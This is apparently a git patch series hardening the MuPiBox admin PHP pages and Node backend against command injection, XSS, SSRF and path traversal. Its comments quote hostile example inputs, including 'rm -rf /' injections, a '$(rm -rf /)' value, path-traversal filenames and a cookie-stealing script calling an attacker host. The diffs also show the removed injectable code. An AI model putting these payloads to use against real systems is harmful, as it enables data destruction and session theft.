"CSRF token mismatch — please reload the page and try again.\n"; + exit; + } + } +} diff --git a/AdminInterface/www/includes/header.php b/AdminInterface/www/includes/header.php index bd9a270f..507d1860 100644 --- a/AdminInterface/www/includes/header.php +++ b/AdminInterface/www/includes/header.php @@ -1,6 +1,14 @@ +

    MuPiHAT

    Release the power of MuPi...

    diff --git a/AdminInterface/www/service.php b/AdminInterface/www/service.php index d78627ca..9182e0d0 100644 --- a/AdminInterface/www/service.php +++ b/AdminInterface/www/service.php @@ -1,4 +1,10 @@ BT-Autoconnect-Service disabled"; } - $rc = $output[count($output)-1]; + // On a GET request none of the POST handlers above ran, so $output is + // never set. PHP 8 turned count(null) into a fatal TypeError — + // service.php has been crashing on every plain page-load since this + // box upgraded to PHP 8, with the form never reaching the browser. + // Pre-existing bug (not introduced by Phase 5) but blocking the + // CSRF-token verification, so fix here. + $rc = !empty($output) ? $output[count($output)-1] : ''; $command = "sudo service smbd status | grep running"; exec($command, $smboutput, $smbresult ); if( $smboutput[0] ) @@ -132,6 +144,7 @@ ?> +

    MupiBox services

    De/Activate some helpfull services...

    diff --git a/AdminInterface/www/tweaks.php b/AdminInterface/www/tweaks.php index 1f31f61a..e17fe1e1 100644 --- a/AdminInterface/www/tweaks.php +++ b/AdminInterface/www/tweaks.php @@ -1,4 +1,8 @@ +

    MupiBox tweaks

    Make your box smarter and faster...

    From de72adb531c57fb9b5cf39722cd2de0d0b66616e Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 08:34:03 +0200 Subject: [PATCH 09/18] admin: require auth on update_wifiicon / batteryicon / fanicon / mupihattable (MED-17) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four polling endpoints that the admin UI's status icons hit every few seconds were entirely unauth. From the LAN anyone could: - read the box's current Wi-Fi SSID and signal strength (update_wifiicon.php — useful for fingerprinting which AP) - read battery SOC + bus voltage + charge state (update_batteryicon.php — infer when the box is in use) - read fan speed + CPU/IC temperatures (update_fanicon.php — same) - dump the full /tmp/mupihat.json (update_mupihattable.php) update_wifiicon.php additionally fired `sudo iwgetid -r` and `sudo iwconfig wlan0` per request — every browser tab on the LAN polling the same endpoint produced a steady stream of sudo forks under the dietpi user, effectively a DoS amplifier. Add `require __DIR__ . '/includes/auth_check.php';` (the header-only gate established in CRIT-2/3/5) at the top of all four files. After this, only authenticated admin sessions can poll, and the sudo-fork rate is bounded by however many admin tabs are open rather than how many devices are on the LAN. --- AdminInterface/www/update_batteryicon.php | 5 +++++ AdminInterface/www/update_fanicon.php | 4 ++++ AdminInterface/www/update_mupihattable.php | 4 ++++ AdminInterface/www/update_wifiicon.php | 9 +++++++++ 4 files changed, 22 insertions(+) diff --git a/AdminInterface/www/update_batteryicon.php b/AdminInterface/www/update_batteryicon.php index 8d9a30fd..25c29fe1 100644 --- a/AdminInterface/www/update_batteryicon.php +++ b/AdminInterface/www/update_batteryicon.php @@ -1,4 +1,9 @@ Date: Thu, 7 May 2026 21:27:12 +0200 Subject: [PATCH 10/18] admin: escape shell args / validate input across spotify, bluetooth, cover, network, mupi MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Five separate PHP endpoints each spliced caller-controlled values into shell exec() commands without escaping. All five sit BEHIND the auth gate (header.php is included), so an unauthenticated LAN visitor can't reach them — but a logged-in admin (or anyone who slipped a CSRF past the editor) gets RCE / file-deletion / config-tampering on top of whatever the original handler does. Defense in depth. spotify.php:21 (HIGH-2): the OAuth callback handler interpolates $_GET['code'] (echoed back from Spotify's redirect) plus four other values into a curl command line. escapeshellarg() each. bluetooth.php:29,42 (HIGH-3): pair_bt.sh / remove_bt.sh receive a MAC from $_POST. Even though the scripts now validate MAC format themselves (CRIT-7), the shell command line is built here and executes BEFORE pair_bt.sh runs — backticks would expand at the shell layer. Strict MAC regex check + escapeshellarg(). Reject path sets $change=1 so the footer renders the error toast (otherwise the user clicks "remove pairing" with a broken MAC and sees nothing even though server-side the reject is working). cover.php:6-7 (HIGH-5): the deleteimage handler ran `sudo rm /var/www/cover/$image` as root with $image straight from POST — `image=../../etc/mupibox/mupiboxconfig.json` would happily wipe the box's main config. basename() to strip path traversal, filename whitelist, escapeshellarg(). Reject path also sets $change=1 for visibility. network.php:178 (HIGH-6): wpa_cli wifinr is always a small integer. intval() collapses anything non-numeric to 0; the previous code let `wifinr=0; rm -rf /` pass through. -1 sentinel for invalid. mupi.php:31,37,43,167 (HIGH-4): three display-rotation handlers and the sleep-timer handler all spliced numeric POST values into shells. intval() each, plus a whitelist of valid rotation values (0/1/2/3/90/180/270) and a 24h cap on the sleep timer to make obviously-wrong inputs fail loud. --- AdminInterface/www/bluetooth.php | 44 ++++++++++++++------- AdminInterface/www/cover.php | 19 +++++++-- AdminInterface/www/mupi.php | 67 +++++++++++++++++++++++--------- AdminInterface/www/network.php | 9 ++++- AdminInterface/www/spotify.php | 12 +++++- 5 files changed, 113 insertions(+), 38 deletions(-) diff --git a/AdminInterface/www/bluetooth.php b/AdminInterface/www/bluetooth.php index 4a8ebb9f..0492e90c 100644 --- a/AdminInterface/www/bluetooth.php +++ b/AdminInterface/www/bluetooth.php @@ -24,25 +24,43 @@ $CHANGE_TXT=$CHANGE_TXT."
  • BT-Autoconnect-Service disabled
    • "; } + // Both BT-handlers feed a MAC address into a shell exec. The receiving + // scripts (pair_bt.sh / remove_bt.sh) already validate the MAC via + // regex since CRIT-7, but the shell command line itself is built here + // — if we don't validate, an attacker (admin-authenticated, but still) + // could squeeze backticks or `; rm -rf` into the parameter and the + // shell would expand it before pair_bt.sh ever runs. Defence in depth: + // reject anything that isn't a canonical AA:BB:CC:DD:EE:FF MAC, then + // escapeshellarg() the value as well. + $btMacRegex = '/^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$/'; if( $_POST['remove_selected'] ) { - $command = "sudo -u dietpi /usr/local/bin/mupibox/./remove_bt.sh ".$_POST['remove_mac']; - exec($command, $output, $result ); - $CHANGE_TXT=$CHANGE_TXT."
  • Pairing removed [".$_POST['remove_mac']."
    • "; - $command = "sudo -u dietpi /usr/local/bin/mupibox/./stop_bt.sh"; - exec($command, $output, $result ); - $command = "sudo -u dietpi /usr/local/bin/mupibox/./start_bt.sh"; - exec($command, $output, $result ); - - $change=1; + $mac = $_POST['remove_mac'] ?? ''; + if (!preg_match($btMacRegex, $mac)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid MAC, refused
    • "; $change=1; + } else { + $command = "sudo -u dietpi /usr/local/bin/mupibox/./remove_bt.sh " . escapeshellarg($mac); + exec($command, $output, $result ); + $CHANGE_TXT=$CHANGE_TXT."
  • Pairing removed [" . htmlspecialchars($mac) . "]
    • "; + $command = "sudo -u dietpi /usr/local/bin/mupibox/./stop_bt.sh"; + exec($command, $output, $result ); + $command = "sudo -u dietpi /usr/local/bin/mupibox/./start_bt.sh"; + exec($command, $output, $result ); + $change=1; + } } if( $_POST['pair_selected'] ) { - $command = "sudo -u dietpi /usr/local/bin/mupibox/./pair_bt.sh ".$_POST['bt_device']; - exec($command, $output, $result ); - $CHANGE_TXT=$CHANGE_TXT."
  • Device is paired [".$_POST['bt_device']."
    • "; - $change=1; + $mac = $_POST['bt_device'] ?? ''; + if (!preg_match($btMacRegex, $mac)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid MAC, refused
    • "; $change=1; + } else { + $command = "sudo -u dietpi /usr/local/bin/mupibox/./pair_bt.sh " . escapeshellarg($mac); + exec($command, $output, $result ); + $CHANGE_TXT=$CHANGE_TXT."
  • Device is paired [" . htmlspecialchars($mac) . "]
    • "; + $change=1; + } } diff --git a/AdminInterface/www/cover.php b/AdminInterface/www/cover.php index de5e99a1..ec0a479d 100644 --- a/AdminInterface/www/cover.php +++ b/AdminInterface/www/cover.php @@ -3,10 +3,21 @@ if( $_POST['deleteimage'] ) { - $file2delete = "/var/www/cover/".$_POST['image']; - exec("sudo rm " . $file2delete); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Image " . $file2delete . " deleted!
    • "; + // `sudo rm /var/www/cover/$image` ran as root, with $image straight + // from POST. POSTing image=../../etc/mupibox/mupiboxconfig.json + // would happily wipe the box's config. basename() collapses any + // path components, and a name whitelist (only filename-safe chars) + // rejects shell metacharacters before escapeshellarg. + $rawName = basename($_POST['image'] ?? ''); + if (!preg_match('/^[A-Za-z0-9._-]+$/', $rawName)) { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid image filename, refused
    • "; + $change=1; + } else { + $file2delete = "/var/www/cover/" . $rawName; + exec("sudo rm " . escapeshellarg($file2delete)); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Image " . htmlspecialchars($file2delete) . " deleted!
    • "; + } } if( $_POST['submitfile'] ) { diff --git a/AdminInterface/www/mupi.php b/AdminInterface/www/mupi.php index 7b1441fb..c02f16d0 100644 --- a/AdminInterface/www/mupi.php +++ b/AdminInterface/www/mupi.php @@ -26,23 +26,41 @@ $dlcd_rotation_state=`sed -n '/^[[:blank:]]*display_lcd_rotate=/{s/^[^=]*=//p;q}' /boot/config.txt`; $hdmi_rotation_state=`sed -n '/^[[:blank:]]*display_hdmi_rotate=/{s/^[^=]*=//p;q}' /boot/config.txt`; - if(isset($_POST['hdmi_rotation']) && $_POST['hdmi_rotation'] != substr($hdmi_rotation_state,0,-1)) + // Display rotations: dietpi accepts integer rotation values (0/90/180/270 + // for HDMI, 0/1/2/3 for LCD-flips). The values were spliced into a + // double-quoted shell string verbatim — a POST with hdmi_rotation="0\"; + // rm -rf /; #" would have torn the quoting apart. intval() collapses + // anything non-numeric to 0 (safe default = no rotation). + $rotationWhitelist = [0, 1, 2, 3, 90, 180, 270]; + if(isset($_POST['hdmi_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_hdmi_rotate=' 'display_hdmi_rotate=" . $_POST['hdmi_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set HDMI-Rotation [reboot is necessary]
    • "; + $hdmiRot = intval($_POST['hdmi_rotation']); + if (in_array($hdmiRot, $rotationWhitelist, true) && $hdmiRot != substr($hdmi_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_hdmi_rotate=' 'display_hdmi_rotate=" . $hdmiRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set HDMI-Rotation [reboot is necessary]
    • "; + } } - if(isset($_POST['lcd_rotation']) && $_POST['lcd_rotation'] != substr($lcd_rotation_state,0,-1)) + if(isset($_POST['lcd_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'lcd_rotate=' 'lcd_rotate=" . $_POST['lcd_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set LCD-Rotation [reboot is necessary]
    • "; + $lcdRot = intval($_POST['lcd_rotation']); + if (in_array($lcdRot, $rotationWhitelist, true) && $lcdRot != substr($lcd_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'lcd_rotate=' 'lcd_rotate=" . $lcdRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set LCD-Rotation [reboot is necessary]
    • "; + } } - if(isset($_POST['dlcd_rotation']) && $_POST['dlcd_rotation'] != substr($dlcd_rotation_state,0,-1)) + if(isset($_POST['dlcd_rotation'])) { - exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_lcd_rotate=' 'display_lcd_rotate=" . $_POST['dlcd_rotation'] . "' /boot/config.txt\""); - $change=1; - $CHANGE_TXT=$CHANGE_TXT."
  • Set Display-LCD-Rotation [reboot is necessary]
    • "; + $dlcdRot = intval($_POST['dlcd_rotation']); + if (in_array($dlcdRot, $rotationWhitelist, true) && $dlcdRot != substr($dlcd_rotation_state,0,-1)) + { + exec("sudo su - dietpi -c \". /boot/dietpi/func/dietpi-globals && G_SUDO G_CONFIG_INJECT 'display_lcd_rotate=' 'display_lcd_rotate=" . $dlcdRot . "' /boot/config.txt\""); + $change=1; + $CHANGE_TXT=$CHANGE_TXT."
  • Set Display-LCD-Rotation [reboot is necessary]
    • "; + } } if($_POST['stop_sleeptimer'] == "Stop running timer") @@ -163,12 +181,25 @@ if($_POST['potimer']) { - $timerSleepingTime=$_POST['powerofftimer']*60; - $command = "sudo nohup /usr/local/bin/mupibox/./sleep_timer.sh ".$timerSleepingTime." > /dev/null 2>&1 &"; - exec($command); - $change=3; - $CHANGE_TXT=$CHANGE_TXT."
  • ".$_POST['powerofftimer']." minutes sleeptimer started
    • "; - //sudo pkill -f "sleep_timer.sh" + // powerofftimer is in minutes (admin-typed). intval() forces it to + // an integer; the *60 just produces another integer, so even + // without escapeshellarg() the shell only sees digits. Plus a + // sanity cap: 24 hours is the longest a parent could reasonably + // want, beyond that it's an input mistake or an attacker. + $minutes = intval($_POST['powerofftimer'] ?? 0); + if ($minutes > 0 && $minutes <= 24 * 60) + { + $timerSleepingTime = $minutes * 60; + $command = "sudo nohup /usr/local/bin/mupibox/./sleep_timer.sh " . $timerSleepingTime . " > /dev/null 2>&1 &"; + exec($command); + $change=3; + $CHANGE_TXT=$CHANGE_TXT."
  • " . $minutes . " minutes sleeptimer started
    • "; + //sudo pkill -f "sleep_timer.sh" + } + else + { + $CHANGE_TXT=$CHANGE_TXT."
  • ERROR: invalid sleeptimer value, refused
    • "; + } } if( $_POST['change_netboot'] == "activate for next boot" ) diff --git a/AdminInterface/www/network.php b/AdminInterface/www/network.php index feff38a8..62a696f8 100644 --- a/AdminInterface/www/network.php +++ b/AdminInterface/www/network.php @@ -173,9 +173,14 @@ if( $_POST['delete_wifi'] ) { - if( $_POST['wifinr'] ) + // wpa_cli wifinr is always a small non-negative integer; intval() + // strips anything that isn't a digit, so a POST with + // wifinr="0; rm -rf /" becomes 0 and the chained-command injection + // is gone. -1 is invalid for wpa_cli but harmless. + $wifinr = isset($_POST['wifinr']) ? intval($_POST['wifinr']) : -1; + if ($wifinr >= 0) { - $command = "sudo wpa_cli remove_network ".$_POST['wifinr']." && sudo wpa_cli save_config"; + $command = "sudo wpa_cli remove_network " . $wifinr . " && sudo wpa_cli save_config"; exec($command, $output, $result ); $change=1; $CHANGE_TXT=$CHANGE_TXT."
  • Wifi deleted
    • "; diff --git a/AdminInterface/www/spotify.php b/AdminInterface/www/spotify.php index 3cf50bdb..d79169d3 100644 --- a/AdminInterface/www/spotify.php +++ b/AdminInterface/www/spotify.php @@ -18,7 +18,17 @@ } if ($_GET['code']) { - $command = "curl -d client_id=" . $data["spotify"]["clientId"] . " -d client_secret=" . $data["spotify"]["clientSecret"] . " -d grant_type=authorization_code -d code=" . $_GET['code'] . " -d redirect_uri=" . $REDIRECT_URI . " https://accounts.spotify.com/api/token"; + // All four interpolated values reach the shell. clientId / clientSecret + // come from mupiboxconfig.json (admin-controlled) but $_GET['code'] is + // echoed back from Spotify's redirect — an attacker could craft a + // redirect URL with `code=$(rm -rf /)` or backticks. escapeshellarg() + // each value so the shell sees them as a single quoted token. + $command = "curl -d client_id=" . escapeshellarg($data["spotify"]["clientId"]) + . " -d client_secret=" . escapeshellarg($data["spotify"]["clientSecret"]) + . " -d grant_type=authorization_code" + . " -d code=" . escapeshellarg($_GET['code']) + . " -d redirect_uri=" . escapeshellarg($REDIRECT_URI) + . " https://accounts.spotify.com/api/token"; exec($command, $Tokenoutput, $result); $tokendata = json_decode($Tokenoutput[0], true); $data["spotify"]["accessToken"] = $tokendata["access_token"]; From 7d8fcac4a353da4de0123d7ed5571bf69af5adcd Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 08:30:56 +0200 Subject: [PATCH 11/18] admin: htmlspecialchars on data.json + host fields to block stored XSS (MED-15 / LOW-2) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three PHP pages echoed admin-controlled fields directly into HTML without escaping. With XSS-laundering paths now closing in the audit (CSRF being addressed in a follow-up), the remaining vector was "admin writes a hostile value once → it persists in data.json / mupiboxconfig.json → every admin session re-renders it". RSS feed ingestion is the most realistic injection path: a podcast feed's title is fully attacker-controlled and lands in data.json via /api/add when the user adds an RSS subscription. MED-15 (media.php). The "Media database contents" page rendered every field of every entry — index, type, category, artist, title, id, query, cover, artistcover, sorting, etc. — straight into table cells. Wrap each `print` in a local `$h()` helper that calls htmlspecialchars(ENT_QUOTES). Anchors get a `$safeHref()` helper that also enforces an http(s) scheme: a `cover` of `javascript:alert(1)` would otherwise still produce a clickable script-URL even after text-escaping. Non-http URLs collapse to '#'. LOW-2 (vnc.php / content.php). Same pattern — `$data["mupibox"] ["host"]` was concatenated into and . Could land an XSS via mupiboxconfig.json edits. htmlspecialchars on the host before splicing. --- AdminInterface/www/content.php | 11 +++++-- AdminInterface/www/media.php | 56 +++++++++++++++++++++++----------- AdminInterface/www/vnc.php | 10 ++++-- 3 files changed, 54 insertions(+), 23 deletions(-) diff --git a/AdminInterface/www/content.php b/AdminInterface/www/content.php index 1bdd3131..dbd9564d 100644 --- a/AdminInterface/www/content.php +++ b/AdminInterface/www/content.php @@ -6,9 +6,14 @@

    Audio books, music and streams can be added here. Control is the same as on the display, but the display is not synchronized. Playing music cannot be started here.

    "; - print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; + // LOW-2: same XSS vector as vnc.php — host attribute escape. + // hostname -I output is system-controlled and shouldn't contain + // dangerous chars, but escape it too just in case (hostname could + // theoretically be a value an attacker has set elsewhere). + $h = htmlspecialchars((string)$data["mupibox"]["host"], ENT_QUOTES, 'UTF-8'); + $hIp = htmlspecialchars((string)$ip, ENT_QUOTES, 'UTF-8'); + print "

    "; + print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; ?> diff --git a/AdminInterface/www/media.php b/AdminInterface/www/media.php index 92fda996..85a7343c 100644 --- a/AdminInterface/www/media.php +++ b/AdminInterface/www/media.php @@ -173,56 +173,76 @@ function load_dataset($all_media, $bearer_json) print "./images/empty.png"; } } + // MED-15: every $all_media[…] field below is rendered raw into + // HTML. data.json is admin-controlled in normal use, but its + // contents flow from /api/add and /api/edit which themselves + // take user input — and even more directly, RSS resume entries + // pick up the feed's own title/description fields, which are + // fully attacker-controlled. A podcast feed with + // `<script>fetch('http://attacker/'+document.cookie) + // </script>` would land that script into media.php + // (the admin's session cookie + interfacelogin password hash + // as exfil candidates). htmlspecialchars on every echoed + // value, plus URL-validation on the href anchors so a + // `cover` value of `javascript:alert(1)` can't activate. + $h = function($v) { return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8'); }; + // For href values we additionally insist on http(s) — anything + // else (javascript:, data:, file:) collapses to '#'. + $safeHref = function($v) { + $s = (string)$v; + if (preg_match('#^https?://#i', $s)) return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); + return '#'; + }; print "'>
    "; - print ""; - print ""; - print ""; + print "
    Index:" . $all_media['index'] . "
    Type:" . $all_media['type'] . "
    Category:" . $all_media['category'] . "
    "; + print ""; + print ""; if($all_media['artist']) { - print ""; + print ""; } if($all_media['title']) { - print ""; + print ""; } if($all_media['id']) { if($all_media['category'] == "radio") { - print ""; + print ""; } else { - print ""; + print ""; } } if($all_media['artistid']) { - print ""; + print ""; } if($all_media['showid']) { - print ""; + print ""; } if($all_media['query']) { - print ""; + print ""; } if($all_media['shuffle']) { - print ""; + print ""; } if($all_media['cover']) { - print ""; + print ""; } if($all_media['artistcover']) { - print ""; + print ""; } if($all_media['sorting']) { - print ""; + print ""; } if($all_media['aPartOfAll']) { @@ -230,16 +250,16 @@ function load_dataset($all_media, $bearer_json) } if($all_media['aPartOfAllMin']) { - print ""; + print ""; } if($all_media['aPartOfAllMax']) { - print ""; + print ""; } - + if($url2media) { - print ""; + print ""; } print "
    Index:" . $h($all_media['index']) . "
    Type:" . $h($all_media['type']) . "
    Category:" . $h($all_media['category']) . "
    Artist:" . $all_media['artist'] . "
    Artist:" . $h($all_media['artist']) . "
    Title:" . $all_media['title'] . "
    Title:" . $h($all_media['title']) . "
    ID:" . $all_media['id'] . "
    ID:" . $h($all_media['id']) . "
    ID:" . $all_media['id'] . "
    ID:" . $h($all_media['id']) . "
    ID:" . $all_media['artistid'] . "
    ID:" . $h($all_media['artistid']) . "
    ID:" . $all_media['showid'] . "
    ID:" . $h($all_media['showid']) . "
    Search query:" . $all_media['query'] . "
    Search query:" . $h($all_media['query']) . "
    Shuffle:" . $all_media['shuffle'] . "
    Shuffle:" . $h($all_media['shuffle']) . "
    Cover-URL:" . substr($all_media['cover'],0,45) . "...
    Cover-URL:" . $h(substr($all_media['cover'],0,45)) . "...
    Cover-URL:" . substr($all_media['artistcover'],0,45) . "...
    Cover-URL:" . $h(substr($all_media['artistcover'],0,45)) . "...
    Sorting:".$all_media['sorting']."
    Sorting:".$h($all_media['sorting'])."
    Interval-Start:".$all_media['aPartOfAllMin']."
    Interval-Start:".$h($all_media['aPartOfAllMin'])."
    Interval-End:".$all_media['aPartOfAllMax']."
    Interval-End:".$h($all_media['aPartOfAllMax'])."
    Spotify:" . substr($url2media,0,45) . "...
    Spotify:" . $h(substr($url2media,0,45)) . "...
    \n"; //print "URL: " . $all_media['type'] . "
    "; diff --git a/AdminInterface/www/vnc.php b/AdminInterface/www/vnc.php index 8d767085..88c8d978 100644 --- a/AdminInterface/www/vnc.php +++ b/AdminInterface/www/vnc.php @@ -5,8 +5,14 @@

    VNC: MuPiBox Remote Control

    Remote control the Display-Session.

    "; - print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; + // LOW-2: hostname comes from mupiboxconfig.json, which a logged-in + // admin (or stored-XSS via data.json pre-MED-15) could have written + // with `";<` to break out of the attribute + // quotes. htmlspecialchars + ENT_QUOTES escapes both ' and " so + // neither attribute boundary can be escaped. + $h = htmlspecialchars((string)$data["mupibox"]["host"], ENT_QUOTES, 'UTF-8'); + print "

    "; + print "

    If it doesn't display properly or can't be served, try this Link and click me...

    "; ?>
    Date: Fri, 8 May 2026 08:28:40 +0200 Subject: [PATCH 12/18] backend-api: harden /api/rssfeed against SSRF (MED-2) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The endpoint took a user-supplied URL via ?url= and ky-fetched it server-side, then echoed the body back. With no schema check and no host filtering this was textbook SSRF — a caller (the frontend, or anyone slipping past the auth gate) could pivot the box into reaching arbitrary services routable from the box's network: the home router's admin UI, the user's NAS, other boxes' admin pages, cloud-metadata endpoints if the box were ever in a cloud, etc. The endpoint sits behind auth, but treating "authenticated frontend" as fully trusted couples the LAN-pivot risk to any XSS / admin-CSRF that ever lands. Defense in depth: 1. Schema allowlist (http / https only). Drops file:, ftp:, gopher:, data:, etc. that ky would otherwise dutifully fetch. 2. Host allowlist via blocklist of private ranges: 127/8, 10/8, 192.168/16, 172.16/12, 169.254/16, 0/8, IPv6 ::1, fe80::/10, fc00::/7, plus the literal "localhost" / "0.0.0.0" / "::". Doesn't do DNS resolution (would be slow + DNS-rebinding-able) but DOES catch raw IP literals that bypass DNS. 3. 10-second timeout via ky's timeout option. 4. 5 MB response cap — RSS feeds are text and small, anything bigger is either misconfigured or hostile. Type-checks pass. --- src/backend-api/src/server.ts | 60 ++++++++++++++++++++++++++++++++++- 1 file changed, 59 insertions(+), 1 deletion(-) diff --git a/src/backend-api/src/server.ts b/src/backend-api/src/server.ts index 51399c7d..69c2d781 100644 --- a/src/backend-api/src/server.ts +++ b/src/backend-api/src/server.ts @@ -102,6 +102,44 @@ if (productionServe) { app.use(express.static(path.join(__dirname, 'www'))) } +// MED-2: harden /api/rssfeed against SSRF. +// +// The endpoint takes a user-supplied URL and ky-fetches it server-side, +// so a caller can pivot the box into reaching anything routable from +// the box's network — most notably the LAN's internal services +// (router admin pages, NAS shares, other boxes' admin UIs). The +// endpoint itself is auth-protected (frontend only), but treating +// an authenticated frontend as fully trusted means any XSS or admin- +// CSRF leak gives the attacker LAN-pivot for free. Defence in depth: +// +// 1. Schema allowlist: http: and https: only. Strips file:, ftp:, +// gopher:, data:, javascript: etc. that ky would otherwise honour. +// 2. Host-resolve allowlist: reject private IPv4 ranges (RFC1918, +// loopback, link-local, IPv4-mapped IPv6). Done by a synchronous +// check on the parsed hostname; we don't resolve DNS to keep the +// check fast and simple, but we DO block raw IP literals. +// 3. Hard timeout (10s) + max-content-length (5 MB) — RSS feeds are +// small text, anything bigger is either misconfigured or hostile. +const PRIVATE_IP_REGEXES = [ + /^127\./, + /^10\./, + /^192\.168\./, + /^172\.(1[6-9]|2\d|3[0-1])\./, // 172.16.0.0/12 + /^169\.254\./, // link-local + /^0\./, + /^::1$/, + /^::ffff:127\./i, + /^fe80:/i, // IPv6 link-local + /^fc00:/i, // IPv6 unique local + /^fd00:/i, +] +const isPrivateHost = (host: string): boolean => { + // Strip brackets from IPv6 literals + const h = host.replace(/^\[|\]$/g, '').toLowerCase() + if (h === 'localhost' || h === '0.0.0.0' || h === '::') return true + return PRIVATE_IP_REGEXES.some((r) => r.test(h)) +} + // Routes app.get('/api/rssfeed', async (req, res) => { const rssUrl = req.query.url @@ -109,9 +147,29 @@ app.get('/api/rssfeed', async (req, res) => { res.status(500).send('Given url is not a string.') return } - ky.get(rssUrl) + let parsed: URL + try { + parsed = new URL(rssUrl) + } catch { + res.status(400).send('Invalid URL') + return + } + if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { + res.status(400).send('Only http(s) URLs are allowed') + return + } + if (isPrivateHost(parsed.hostname)) { + res.status(403).send('Private / loopback hosts are not allowed') + return + } + ky.get(rssUrl, { timeout: 10000 }) .text() .then((response) => { + // Bound the parsed payload size — RSS feeds shouldn't be megabytes. + if (response.length > 5_000_000) { + res.status(413).send('Response too large') + return + } res.send(xmlparser.xml2json(response, { compact: true, nativeType: true })) }) .catch(() => { From e4d7b27bdcb16b1d3bb54c5207eba603e77ce765 Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 08:29:40 +0200 Subject: [PATCH 13/18] spotify-api.service: SHA-256 cache filenames to block path-traversal (MED-5) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The cache layer constructed file paths as `path.join(cacheDir, ${cacheKey}.json)` where cacheKey was a string template literal containing user-controlled fields — search queries, playlist IDs, album IDs, etc. A search for `../../etc/passwd_x` would produce a cacheKey of `search_albums_../../etc/passwd_x_10_0`, and path.join would resolve the `../` segments and let fs.writeFile escape the cache directory. Even within the dietpi user's reach that's a straight write-anywhere primitive — `/home/dietpi/.ssh/authorized_keys .json`, `/home/dietpi/.bashrc.json`, `/tmp/$RANDOM/spotify-api/...`, etc. The data written is just the Spotify API JSON, but the FILENAME is the attack surface (overwrite a file with controlled content via controlled name). Hash the cacheKey with SHA-256 before joining. The on-disk filename is now always 64 hex chars + ".json" — filesystem-safe, no `.`, no `/`, nothing path.join can fold into ../. The expiry classifier getCacheExpiryForKey() still operates on the unhashed key (it only inspects the prefix), so cache lifetimes are unchanged. Trade-off: existing cache files (with their old plaintext names) become orphans after this change — they'll just sit in cache/spotify-api/ until manually cleaned. Acceptable; cache invalidates naturally over hours-to-days anyway and doesn't affect correctness. Type-checks pass. --- .../src/services/spotify-api.service.ts | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/src/backend-api/src/services/spotify-api.service.ts b/src/backend-api/src/services/spotify-api.service.ts index fa1be57b..b00cd9fe 100644 --- a/src/backend-api/src/services/spotify-api.service.ts +++ b/src/backend-api/src/services/spotify-api.service.ts @@ -1,3 +1,4 @@ +import { createHash } from 'node:crypto' import fs from 'node:fs' import path from 'node:path' import { SpotifyApi } from '@spotify/web-api-ts-sdk' @@ -71,8 +72,19 @@ export class SpotifyApiService { } } + // MED-5: cacheKey is concatenated from user-controlled input — search + // queries, playlist IDs, etc. The previous implementation just appended + // `.json` and joined with cacheDir, so a search for `../../etc/passwd_x` + // would produce a path that path.join could resolve outside the cache + // directory (and fs.writeFile would happily write there as the dietpi + // user). Hash the user-controlled portion via SHA-256; the resulting + // 64-char hex is filesystem-safe and impossible to traverse with. + // Keep getCacheExpiryForKey() reading the original cacheKey since it + // only inspects the prefix — the on-disk filename uses the hashed + // form via this helper. private getCacheFilePath(cacheKey: string): string { - return path.join(this.cacheDir, `${cacheKey}.json`) + const hashed = createHash('sha256').update(cacheKey).digest('hex') + return path.join(this.cacheDir, `${hashed}.json`) } private getCacheExpiryForKey(cacheKey: string): number { From 30c6f4b9f31777673e5f88a925bc24207fee3ecf Mon Sep 17 00:00:00 2001 From: Waldemar Berg Date: Fri, 8 May 2026 14:21:35 +0200 Subject: [PATCH 14/18] AR5-3: drop npm-squat http and userland path-polyfill from deps MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit src/backend-player/package.json had two phantom dependencies: - "http": "0.0.1-security" — the npm "security holding" placeholder package, content is literally "this name has been temporarily reserved by npm". Zero functional value. - "path": "^0.12.7" — a Joyent-era userland polyfill of the node:path module. Brings its own transitive deps (process, util) for behaviour Node has supported natively since 0.10. Both source files use the explicit `node:`-prefixed builtins (`require('node:http')`, `require('node:path')`), so Node was already ignoring the userland packages. Removing them deletes ~6 transitive deps from the install tree without any source change. No package-lock.json in this workspace, so no lockfile churn. --- 